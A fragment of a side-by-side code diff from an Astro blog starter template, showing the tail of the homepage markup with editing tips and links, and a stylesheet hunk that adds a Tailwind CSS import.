<li>Edit this page in <code>src/pages/index.astro</code></li>
<li>Edit the site header items in <code>src/components/Header.astro</code></li>
<li>Add your name to the footer in <code>src/components/Footer.astro</code></li>
<li>Check out the included blog posts in <code>src/content/blog/</code></li>
<li>Customize the blog post page layout in <code>src/layouts/BlogPost.astro</code></li>
</ul>
<p>
Have fun! If you get stuck, remember to
<a href="https://docs.astro.build/">read the docs</a>
or <a href="https://astro.build/chat">join us on Discord</a> to ask questions.
</p>
<p>
Looking for a blog template with a bit more personality? Check out
<a href="https://github.com/Charca/astro-blog-template">astro-blog-template</a>
by <a href="https://twitter.com/Charca">Maxi Ferreira</a>.
</p>
</main> </main>
<Footer /> <Footer />
</body> </body>

View File

@@ -3,7 +3,7 @@
https://github.com/HermanMartinus/bearblog/blob/297026a877bc2ab2b3bdfbd6b9f7961c350917dd/templates/styles/blog/default.css https://github.com/HermanMartinus/bearblog/blob/297026a877bc2ab2b3bdfbd6b9f7961c350917dd/templates/styles/blog/default.css
License MIT: https://github.com/HermanMartinus/bearblog/blob/master/LICENSE.md License MIT: https://github.com/HermanMartinus/bearblog/blob/master/LICENSE.md
*/ */
@import "tailwindcss";
:root { :root {
--accent: #2337ff; --accent: #2337ff;
--accent-dark: #000d8a; --accent-dark: #000d8a;